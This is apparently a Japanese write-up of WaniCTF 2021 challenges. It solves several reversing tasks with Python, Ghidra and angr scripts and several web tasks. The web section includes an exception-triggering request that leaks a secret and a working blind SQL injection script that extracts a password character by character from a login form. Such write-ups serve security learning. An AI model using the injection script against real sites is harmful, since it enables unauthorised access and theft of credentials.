.file "main.c" .text .globl main .type main, @function main: .LFB0: .cfi_startproc endbr64 pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 subq $48, %rsp movq %fs:40, %rax movq %rax, -8(%rbp) xorl %eax, %eax movabsq $7941081424088616006, %rax movabsq $7311705455698409823, %rdx movq %rax, -48(%rbp) movq %rdx, -40(%rbp) movabsq $3560223458505028963, %rax movabsq $35295634984951667, %rdx movq %rax, -32(%rbp) movq %rdx, -24(%rbp) leaq -48(%rbp), %rax movq %rax, %rdi call print@PLT movl $0, %eax movq -8(%rbp), %rcx xorq %fs:40, %rcx je .L3 call __stack_chk_fail@PLT .L3: leave .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE0: .size main, .-main .ident "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0" .section .note.GNU-stack,"",@progbits .section .note.gnu.property,"a" .align 8 .long 1f - 0f .long 4f - 1f .long 5 0: .string "GNU" 1: .align 8 .long 0xc0000002 .long 3f - 2f 2: .long 0x3 3: .align 8 4:
main.Sを見ると文字列を数値に変換したものを変数に代入してprintfしていることがわかるので、数値を文字列に戻すとフラグを手に入れることができました。
import struct def p64(x): return struct.pack('<Q', x) a = 7941081424088616006 b = 7311705455698409823 c = 3560223458505028963 d = 35295634984951667 print(p64(a) + p64(b) + p64(c) + p64(d))
$ python solve.py b'FLAG{c4n_y0u_execu4e_th1s_fi1e}\x00'
timer
Timerという実行ファイルが与えられます。
Ghidraでデコンパイルして関数一覧を見るとsuper_complex_flag_print_function
といういかにもな関数があるのでその関数を解析します。
undefined8 super_complex_flag_print_function(void) { bool bVar1; int local_160; int local_15c; byte local_158 [64]; undefined4 local_118 [62]; memcpy(local_118,&DAT_00102010,0xec); local_15c = 0; local_160 = 0x52d5e8cd; while( true ) { while( true ) { while( true ) { while (local_160 == -0x257d3ed5) { local_15c = local_15c + 1; local_160 = 0x52d5e8cd; } if (local_160 != 0x18e1f8e) break; printf("The time has come. Flag is \"%s\"\n"); bVar1 = (x * (x + -1) & 1U) == 0; local_160 = 0x49c7aee9; if (bVar1 && y < 10 || bVar1 != y < 10) { local_160 = 0x1a18fd28; } } if (local_160 != 0x18b37a7b) break; local_158[local_15c] = ((byte)local_118[local_15c] ^ 0xff) & 0x22 | (byte)local_118[local_15c] & 0xdd; local_160 = -0x257d3ed5; } if (local_160 == 0x1a18fd28) break; if (local_160 == 0x49c7aee9) { printf("The time has come. Flag is \"%s\"\n"); local_160 = 0x18e1f8e; } else { if (local_160 == 0x52d5e8cd) { local_160 = 0x7d118963; if (local_15c < 0x3b) { local_160 = 0x18b37a7b; } } else { if ((local_160 == 0x7d118963) && (bVar1 = (x * (x + -1) & 1U) == 0, local_160 = 0x49c7aee9, bVar1 && y < 10 || bVar1 != y < 10)) { local_160 = 0x18e1f8e; } } } } return 0; }
逆アセンブル結果を見ると、フラグを表示するprintfの第二引数はlocal_158だとわかります。
local_158[local_15c] = ((byte)local_118[local_15c] ^ 0xff) & 0x22 | (byte)local_118[local_15c] & 0xdd;
この部分でフラグをもとに戻していると推測できます。そのため、この部分と同じ処理を行うプログラム作成すればフラグが得られそうです。
以下はフラグを復元する部分をPythonで書き直したものです。GhidraのPythonインタプリタ上で以下のスクリプトを実行するとフラグを手に入れることができました。
data = getBytes(toAddr(0x102010), (0x1020fb - 0x102010)) flag = "" for i in range(len(data)): x = (data[i] ^ 0xff) & 0x22 y = (data[i] & 0xdd) flag += chr(x | y) print(flag.replace('"', ''))
>>> data = getBytes(toAddr(0x102010), (0x1020fb - 0x102010)) >>> flag = "" >>> for i in range(len(data)): ... x = (data[i] ^ 0xff) & 0x22 ... y = (data[i] & 0xdd) ... flag += chr(x | y) ... >>> print(flag.replace('"', '')) FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence
第一引数に与えたファイル名のファイルが開かれチェックされます。check関数で入力をチェックしているのですがとても複雑で手動で解析するのはほぼ無理です。そこでangrを使います。0x5df7にたどり着く入力を探すスクリプトを書いて実行するとフラグを手に入れることができました。
import angr import claripy import logging prefix = '-----BEGIN LICENCE KEY-----\n' suffix = '-----END LICENCE KEY-----\n' base_addr = 0x400000 proj = angr.Project('./licence', auto_load_libs=False) b_list = [claripy.BVS('bytes_%d' % i, 8) for i in range(len(prefix) + 0x41 + len(suffix))] b_ast = claripy.Concat(*b_list) fname = "./key.dat" simfile = angr.SimFile(fname, content=b_ast) state = proj.factory.entry_state( args=["./licence", fname], fs={fname:simfile}, add_options={angr.options.LAZY_SOLVES} ) logging.getLogger('angr.sim_manager').setLevel('INFO') simgr = proj.factory.simgr(state) simgr.explore(find=[base_addr+0x5df7]) print(simgr.found[0].fs.get(fname).concretize())
$ python solve.py WARNING | 2021-05-02 21:02:11,639 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base addre ss of 0x400000. INFO | 2021-05-02 21:02:11,674 | angr.sim_manager | Stepping active of <SimulationManager with 1 active> INFO | 2021-05-02 21:02:11,694 | angr.sim_manager | Stepping active of <SimulationManager with 1 active> ... INFO | 2021-05-02 21:02:42,387 | angr.sim_manager | Stepping active of <SimulationManager with 18 active, 416 deadended> INFO | 2021-05-02 21:02:42,483 | angr.sim_manager | Stepping active of <SimulationManager with 19 active, 416 deadended> b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Web
fake
問題文のリンクを踏むとボタンがたくさんあるページが表示されます。
Chromeのデベロッパーツールを開いてElementsを眺めると<button>
の中に一つだけ<a>
があります。hrefにフラグが表示されるページのリンクが書かれています。
FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}
Wani request 1
URLを入力するとそのページにアクセスしてくれます。requestbinで通信を受け取り、requestヘッダーのreferを見るとhttp://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/
からアクセスされており、そこにアクセスするとフラグが得られっます。
FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}
exception
hello.pyが与えられます。
import json import os import traceback # HelloFunction(/hello)のコード def lambda_handler(event, context): try: try: data = json.loads(event["body"]) except Exception: data = {} if "name" in data: return { "statusCode": 200, "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}), } return { "statusCode": 400, "body": json.dumps( { "error_message": "Bad Request", } ), } except Exception as e: error_message = traceback.format_exception_only(type(e), e) del event["requestContext"]["accountId"] del event["requestContext"]["resourceId"] return { "statusCode": 500, "body": json.dumps( { "error_message": error_message, "event": event, "flag": os.environ.get("FLAG"), } ), }
exceptionを起こせばフラグが手に入るようになっています。
return { "statusCode": 200, "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}), }
この部分に着目します。data["name"]の型を確認せず文字列と結合しています。よって、data["name"]に整数値のような文字列と結合できないものを与えてやるとexceptionを起こせます。
$ python -q >>> import requests >>> data = {"name": 1} >>> requests.post("https://exception.web.wanictf.org/hello", json=data).text '{"error_message": ["TypeError: can only concatenate str (not \\"int\\") to str\\n"], "event": {"resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": {"Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "1.1 886a171d4fd47a45f08d1726d75c8f18.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "QhWwC5Ycbeg8QbduIv5GLP5jqqzLtb_LSW6aBlQManLQge0zHEO5Jg==", "X-Amzn-Trace-Id": "Root=1-608e7b06-4a736e383ab2d7731b6be0f1", "X-Forwarded-For": "202.165.53.205, 70.132.51.94", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https"}, "multiValueHeaders": {"Accept-Encoding": ["gzip, deflate"], "Content-Type": ["application/json"], "Host": ["boakqtdih8.execute-api.us-east-1.amazonaws.com"], "User-Agent": ["Amazon CloudFront"], "Via": ["1.1 886a171d4fd47a45f08d1726d75c8f18.cloudfront.net (CloudFront)"], "X-Amz-Cf-Id": ["QhWwC5Ycbeg8QbduIv5GLP5jqqzLtb_LSW6aBlQManLQge0zHEO5Jg=="], "X-Amzn-Trace-Id": ["Root=1-608e7b06-4a736e383ab2d7731b6be0f1"], "X-Forwarded-For": ["202.165.53.205, 70.132.51.94"], "X-Forwarded-Port": ["443"], "X-Forwarded-Proto": ["https"]}, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": {"resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "esgpBGZgoAMFqmw=", "requestTime": "02/May/2021:10:12:22 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619950342462, "requestId": "414fc154-3b0b-4e42-8748-03dacc5acd75", "identity": {"cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "202.165.53.205", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null}, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8"}, "body": "{\\"name\\": 1}", "isBase64Encoded": false}, "flag": "FLAG{b4d_excep7ion_handl1ng}"}'
watch animal
メールアドレスがwanictf21spring@gmail.com
の人のパスワードがフラグとなっています。ログインフォームでSQLインジェクションが可能なためログインの可否でパスワードを特定できます。
import string import requests import hashlib import time URL = "https://watch.web.wanictf.org/" EMAIL = "wanictf21spring@gmail.com" TEMPLATE = "' OR substr(password, {pos}, 1) >= \"{c}\"; --" cand = string.ascii_letters + string.digits + string.punctuation cand = [chr(x) for x in sorted(ord(c) for c in cand)] def is_login(text): return hashlib.sha1(text.encode()).hexdigest() == "8a702a2d92383c08baf14be6a70eb1da42d59b2c" flag = "" for i in range(0, 60): start, end = 0, len(cand) - 1 while True: mid = start + (end - start) // 2 c = cand[mid] if end - start == 1: break data = { "email": EMAIL, "password": TEMPLATE.format(pos=i+1, c=c) } if is_login(requests.post(URL, data).text): start = mid else: end = mid time.sleep(1.5) print(f"found: pos={i} char={c}") flag += c if c == "}": break print(flag)
$ python hoge.py found: pos=0 char=F found: pos=1 char=L found: pos=2 char=A found: pos=3 char=G found: pos=4 char={ found: pos=5 char=b found: pos=6 char=l found: pos=7 char=1 found: pos=8 char=n found: pos=9 char=d found: pos=10 char=S found: pos=11 char=Q found: pos=12 char=L found: pos=13 char=i found: pos=14 char=} FLAG{bl1ndSQLi}